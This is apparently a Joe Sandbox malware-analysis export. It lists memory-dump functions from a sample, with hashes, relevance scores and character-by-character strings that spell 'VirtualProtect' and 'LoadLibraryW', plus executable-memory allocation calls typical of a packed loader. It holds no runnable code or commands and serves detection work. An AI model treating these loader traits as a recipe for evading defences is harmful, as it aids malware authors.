Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 0710a8bcf6da02d2ec5d253880a30b2cda5b122e07af4af1eac0194123f398a0
Instruction ID: d46d4d95d3c450ef69a8fbe37fb877b1571e99a96056b3f9fb1a6683a3200ce9
Opcode Fuzzy Hash: 0710a8bcf6da02d2ec5d253880a30b2cda5b122e07af4af1eac0194123f398a0
Instruction Fuzzy Hash: 49D1E2B2E082A89AF7218624DC04BEABB75EF82304F0441F9D44D67681D77E5EC5CF66

Function 02941AC4 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 347COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 531af7aa381d94e9348d77a7350402a9f216f88f9002d2120ec8dad651b55d02
Instruction ID: f60c4cce3a64d86ee90462e7f69b985cb6b1e4190111b62ff8df958ec1c048cc
Opcode Fuzzy Hash: 531af7aa381d94e9348d77a7350402a9f216f88f9002d2120ec8dad651b55d02
Instruction Fuzzy Hash: ADD1E2B2E082A89AF7218624DC04BEABB75EF82304F0441F9D44D67681D77E5EC5CF66

Function 02941661 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 347COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 4748c162ac8ed8f10e9d4bfcbbb33f1dfaabd6f9036f00edde7763a153658df4
Instruction ID: 48b761a01ebf63b47f8b00e46964f2bc144f664f7539f17d27a27549e9f37384
Opcode Fuzzy Hash: 4748c162ac8ed8f10e9d4bfcbbb33f1dfaabd6f9036f00edde7763a153658df4
Instruction Fuzzy Hash: FCD103B2E082A89AF7218624DC04BEA7B75EF82304F0441F9D44D67681DB7E5FC5CB66

Function 02941A6D Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 347COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 901d0d0535d8119a9ba0e5843ed4a76cba05797eba58800c6b01f91fafe219f7
Instruction ID: 63eb3d37ee83a005f3ef10e320c886ee82b0609e1d9ae519cb506ef5b103ac57
Opcode Fuzzy Hash: 901d0d0535d8119a9ba0e5843ed4a76cba05797eba58800c6b01f91fafe219f7
Instruction Fuzzy Hash: EAD1E3B2E082A89AF7218624DC04BEA7B75EF82304F0441F9D44D67681D77E5EC5CF66

Function 02941DB4 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 305COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 236f0a27cd8ef994ba2153c332d7ff4bcde3a6af6e6c2e725618584de05425f5
Instruction ID: ae87dafef12a72cb76f7ecda834ac2cb0c34b2b37fca424c174f2a5e26a183d3
Opcode Fuzzy Hash: 236f0a27cd8ef994ba2153c332d7ff4bcde3a6af6e6c2e725618584de05425f5
Instruction Fuzzy Hash: B8C1E3B1E082A88AF7218624DC04BEA7B76AF92304F1440F9D44D6B281D77A5FC5CB66

Function 02941E04 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 284COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 6dfbcf91d1fc66b5d2e2f20e7bbcc0959b3421b6394d07373e266d952af9f9f2
Instruction ID: 137e20c46aafaf94f20389c5377c27de9376d38777cc596a05527fffdb55a2d1
Opcode Fuzzy Hash: 6dfbcf91d1fc66b5d2e2f20e7bbcc0959b3421b6394d07373e266d952af9f9f2
Instruction Fuzzy Hash: B1C1E5B1E082A89AF7218724DC04BEABB76AF92300F0441F9C44D67681D77A5FC5CF66

Function 02941E17 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 278COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: de0e27ea738b0cd796495b27a45e2470d29c550de5e266718d001d33fa9a08da
Instruction ID: f2bce172815d93d060e6023cee3e009d992f4d4299ae728d4bdbebe11d649c8e
Opcode Fuzzy Hash: de0e27ea738b0cd796495b27a45e2470d29c550de5e266718d001d33fa9a08da
Instruction Fuzzy Hash: 0BB1D3B1E082A88AFB218624CC44BEABB75AF92304F1441F9C44D67681D77A5FC5CF66

Function 02941E80 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 255COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 17f659ab8cedeff36e618aef461daa3decaf106131022817828a5fbfe9cf889c
Instruction ID: a8f55905a79e208135e1826f8f6c39459d5d1952f5164022fdd92098e3499ea7
Opcode Fuzzy Hash: 17f659ab8cedeff36e618aef461daa3decaf106131022817828a5fbfe9cf889c
Instruction Fuzzy Hash: 64A1F4B1E082A88AFB218724DC04BEA7B76AF92304F0440F9D54D67681D77A4FC58F26

Function 029623A8 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 160COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: a617b9d69c8bd3526c3db44b5b594c350fab43c2755de7fff67023450e37e016
Instruction ID: 559be4a039485142dd5869693440019f15fc3820031854f6bc7f7c22263bbc30
Opcode Fuzzy Hash: a617b9d69c8bd3526c3db44b5b594c350fab43c2755de7fff67023450e37e016
Instruction Fuzzy Hash: EE511BB2D042A49AE7218724DC58BEABFB69FD1310F0940FAC88D27141D67E1ED5CF92

Function 0041D0C6 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000020,?), ref: 0041D1C7

Strings

R, xrefs: 0041E7E4
o, xrefs: 0041E755
P, xrefs: 0041E747
i, xrefs: 0041E739
t, xrefs: 0041E740
s, xrefs: 0041E76A
s, xrefs: 0041E771
x, xrefs: 0041E732
E, xrefs: 0041E72B
r, xrefs: 0041E74E
c, xrefs: 0041E75C
e, xrefs: 0041E763

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: E$P$R$c$e$i$o$r$s$s$t$x
API String ID: 544645111-774868400
Opcode ID: 48b277128dabd2e98b8f0cef37cf6b496c21e0cc8d907f55dd5f89ff52fa4faf
Instruction ID: 17fd85fa94778e510e4ba98538f017c328464f37048adba6c68bc444dcef960c
Opcode Fuzzy Hash: 48b277128dabd2e98b8f0cef37cf6b496c21e0cc8d907f55dd5f89ff52fa4faf
Instruction Fuzzy Hash: B851E7B4D082A88FF724CB25DC84BFA7BB5AB41304F1441EAC48D66291CA795FC58F52

Function 02927A9A Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 233memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
d, xrefs: 02927AB6
L, xrefs: 02927ABD
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
W, xrefs: 02927AEE
L, xrefs: 02927AA1
i, xrefs: 02927AC4
a, xrefs: 02927AAF
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-4069139063
Opcode ID: 70fb8375b45c5ae7412b64eace11c530e29f65a78e6e8c9879291720ffda4940
Instruction ID: d5e50dfc13cc88509eea1878ddabbd8472975ee7e7832cf0cf0b0990e6fb501a
Opcode Fuzzy Hash: 70fb8375b45c5ae7412b64eace11c530e29f65a78e6e8c9879291720ffda4940
Instruction Fuzzy Hash: 8B91F5E1D582A89FF724CA20DC44BAAB679FB94310F0481FAD50D66684D67E1FC58F22

Function 02953091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,?,00000040,?,?,?,?,?,?,?,?,?,?,02952B80,02952B24,00000000), ref: 029530BB

Strings

, xrefs: 0295329B

Memory Dump Source

Source File: 00000000.00000002.2726854896.0000000002950000.00000020.00001000.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-399585960
Opcode ID: a0aff51f0c9d1c1ccd1d2f9fddac5a09ea1817b872b8b4ee00e59c6481d5d531
Instruction ID: b77a96e7d7005098f172e6ac24ef3ace6b2211fe07bb88da5aff00cd714a3668
Opcode Fuzzy Hash: a0aff51f0c9d1c1ccd1d2f9fddac5a09ea1817b872b8b4ee00e59c6481d5d531
Instruction Fuzzy Hash: 6841B2B2E04228AFF724C614DC95FFB777DEB84310F1445BAE90E96280E6395FC18A65

Function 02962CE5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Strings

O5>X, xrefs: 02962CE5

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: O5>X
API String ID: 544645111-3840307895
Opcode ID: 4b91ec87659fe1da2b34c21c7fc38696fbc1fbed4f497271924b56f132bec015
Instruction ID: 775ba126d3ec31652dcdece8834c7c38a2f976be08c027c97653fd0f477f6207
Opcode Fuzzy Hash: 4b91ec87659fe1da2b34c21c7fc38696fbc1fbed4f497271924b56f132bec015
Instruction Fuzzy Hash: 0341D4B2D402689BEB208B24DC98BEABBB5EF95310F0541F6D84D67280C7395EC1CF91

Function 004055F6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Strings

A=F2, xrefs: 004055F6

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: A=F2
API String ID: 544645111-1084960644
Opcode ID: 6926762445cd1136e5d2a262dbfb03bd2b75b61dce1f089e9ff26f135629b44a
Instruction ID: 9be6549bfc98a1d8e63da8af64b52cee30113e535f5a77b4f60572b85ab100c5
Opcode Fuzzy Hash: 6926762445cd1136e5d2a262dbfb03bd2b75b61dce1f089e9ff26f135629b44a
Instruction Fuzzy Hash: 2C31AFB1E146289FF7508A14DC95EFB77B8EB44310F1441FAE90EA6280D67D6FC08E56

Function 02942AA4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Strings

396_, xrefs: 02942AA4

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: 396_
API String ID: 544645111-2594736988
Opcode ID: 9da8c366163ad420868a470d206972167c63c41253bb1c93e25da9090f90d4bd
Instruction ID: 91c6b839df696f2ee8675d5d8ed76335ed46129927cea3d431654930eda5e3bc
Opcode Fuzzy Hash: 9da8c366163ad420868a470d206972167c63c41253bb1c93e25da9090f90d4bd
Instruction Fuzzy Hash: DB31A7F2E14154ABEB208A24DC44FEBB379EBC4310F1085F5E90D96640D7399BD58E61

Function 02929A0F Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: bbd8e1a53fa069131eaedc07ee44d684d8cf3fe12a5197143841c6629a7ee466
Instruction ID: 3b337a0b4b2d15263accb8d50b683d2bd777a991a0e0290b173aaf6f269b7b0c
Opcode Fuzzy Hash: bbd8e1a53fa069131eaedc07ee44d684d8cf3fe12a5197143841c6629a7ee466
Instruction Fuzzy Hash: 05811675E052289BEB24CB14CC94BAAB7B5FF89314F2041E9E84D6B244D774AEC5CF41

Function 0292962E Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: bed50424591af8d9aeefffcc80fff039e74b757f9f542e32f85800ef4ca50566
Instruction ID: 17ad2d0b4000158e455dad39d330e24e0a7abc68e9ff044d7082433bc582e335
Opcode Fuzzy Hash: bed50424591af8d9aeefffcc80fff039e74b757f9f542e32f85800ef4ca50566
Instruction Fuzzy Hash: B751B6B2E012289BFB248A55DC44BEB77B9FB89310F1480F9E80D66680D6795EC5CF91

Function 029296B1 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: ea5cd5b87e671b939575e1d94c0e87076672b7fee3f22a9acd5800e1dcc1e914
Instruction ID: 0bd0472192a3aded8e89d05c248a70cadb721bf7989c8a22917eb0aa70ac84e1
Opcode Fuzzy Hash: ea5cd5b87e671b939575e1d94c0e87076672b7fee3f22a9acd5800e1dcc1e914
Instruction Fuzzy Hash: E441B4B2E012289FFB248A54DC44BEAB778FB88311F1081F9E90D66680D6795EC5CF91

Function 029296D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: e1e320b0ceca36ee76e958c42b84e47256c3faa666c64b18d7b43f764307f389
Instruction ID: d4516e890f9e2690048cc0536a3bb5d35751ec1aec4e8926855ee991fe80d95f
Opcode Fuzzy Hash: e1e320b0ceca36ee76e958c42b84e47256c3faa666c64b18d7b43f764307f389
Instruction Fuzzy Hash: FA4184B1E012289BFB248A54DC54BEAB779FB89311F1040F9E90D66680D7785EC5CF91

Function 02929C95 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: cd18467f5d5b5d5f7a4627ffe8b9228e7dac925970f27ea60f93b42266318bd3
Instruction ID: a332885e33103c3d01cb9cbb19799e3ed9e615058801a2f0c3ca6e93e57149c9
Opcode Fuzzy Hash: cd18467f5d5b5d5f7a4627ffe8b9228e7dac925970f27ea60f93b42266318bd3
Instruction Fuzzy Hash: 3731B271E003689BEB348A50DC44BAAB7B8FF49311F2040E9E50DA6280D7B5AEC5CF51

Function 02929C9A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 4e5ca4b6d9bc23d27106acbcfbdf4af6ae0f31d3fb4dfc0b7f0386b1d32ebf21
Instruction ID: 46f7a165f1eeb73870873b5c27428459d0f8d811bb1fed39bab5fed4b36f2f08
Opcode Fuzzy Hash: 4e5ca4b6d9bc23d27106acbcfbdf4af6ae0f31d3fb4dfc0b7f0386b1d32ebf21
Instruction Fuzzy Hash: BE215C71E017289BEB348A50DC55BAAB7B8FF49315F1041E9E50DA6284D6B4AEC4CF41

Function 02929CF5 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 3b30f06c87f0c9d1bca0cf8a829b56a55dee7fe591085b46fda3e0d0a6202180
Instruction ID: d2cf802c30c16026b7bab49957c25b5c143033ace3281c2e9b61403ea5751a26
Opcode Fuzzy Hash: 3b30f06c87f0c9d1bca0cf8a829b56a55dee7fe591085b46fda3e0d0a6202180
Instruction Fuzzy Hash: F3318F71E007289BEB34CA51DC45BAAB7B5FF89311F2041E9E40DA6284D6B46EC4CF41

Function 02929A5A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 30559fc6edc30292f71436ff35849a0efc35f25c77b9a027d745df5b188eb6f5
Instruction ID: 3f9854573aa3f4f875f2be634f5af35ad03541d31cf3f2676178343026a3015f
Opcode Fuzzy Hash: 30559fc6edc30292f71436ff35849a0efc35f25c77b9a027d745df5b188eb6f5
Instruction Fuzzy Hash: FE213C71E013289BEB348A55DC49BAAB778FF89711F1041E9E50DA6280D7B4AEC48F51

Function 02929277 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: c9e9d60796e34556f200bd6a716c454024d9d333e113249fbe87a89e28d56435
Instruction ID: 01c704bbeca4ddc75a3aacfe35d180a74791477d9c45b2d655286ce18423510f
Opcode Fuzzy Hash: c9e9d60796e34556f200bd6a716c454024d9d333e113249fbe87a89e28d56435
Instruction Fuzzy Hash: D4119671F013289BFB748A51DC09BABB778EF89711F1041E9B50DA6280D6B4AEC4CF51

Function 0296AAEC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Strings

=NEK, xrefs: 0296AAED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: =NEK
API String ID: 4275171209-889289970
Opcode ID: f4590bcc777d3cf2344df50e0cc7f97c6cc20789ec8e6a00cac7209edc855156
Instruction ID: 5eba88f72df1417d964e2d671a86407a96f45614fc4dc13a0dffc516b86a1d0f
Opcode Fuzzy Hash: f4590bcc777d3cf2344df50e0cc7f97c6cc20789ec8e6a00cac7209edc855156
Instruction Fuzzy Hash: 4DE09271948228AEF7345A54DC6DFB97BF8E704324F0004DAFF4DA9180D6795BC08A51

Function 004050BB Relevance: 1.8, APIs: 1, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6225a97c7845c0404e9d8cb3d22aa40c97df8859f9ba5730e454e3682008a16f
Instruction ID: c9fc342e277669f83b1f9d1630e6c9e80e5342e06adbcc95b1671853f3025f8e
Opcode Fuzzy Hash: 6225a97c7845c0404e9d8cb3d22aa40c97df8859f9ba5730e454e3682008a16f
Instruction Fuzzy Hash: F9917EB1D046289FF7208A14DC95BFB7778EB45324F1442FBE80EA6280D67D6EC18E56

Function 02941EFC Relevance: 1.7, APIs: 1, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8714b9b534637637358d79422eb6ab67fe36c701d4589f8bc32b2af85d2b647
Instruction ID: 81cb17333c804d56f1ea1b67a54c8f32d57aedab19deefcd777344923c7dacd1
Opcode Fuzzy Hash: f8714b9b534637637358d79422eb6ab67fe36c701d4589f8bc32b2af85d2b647
Instruction Fuzzy Hash: 4891F1B1E082989EFB218B24DC00BEA7736EF85300F1480F9D54D97681D77A5EC68B66

Function 02941F08 Relevance: 1.7, APIs: 1, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
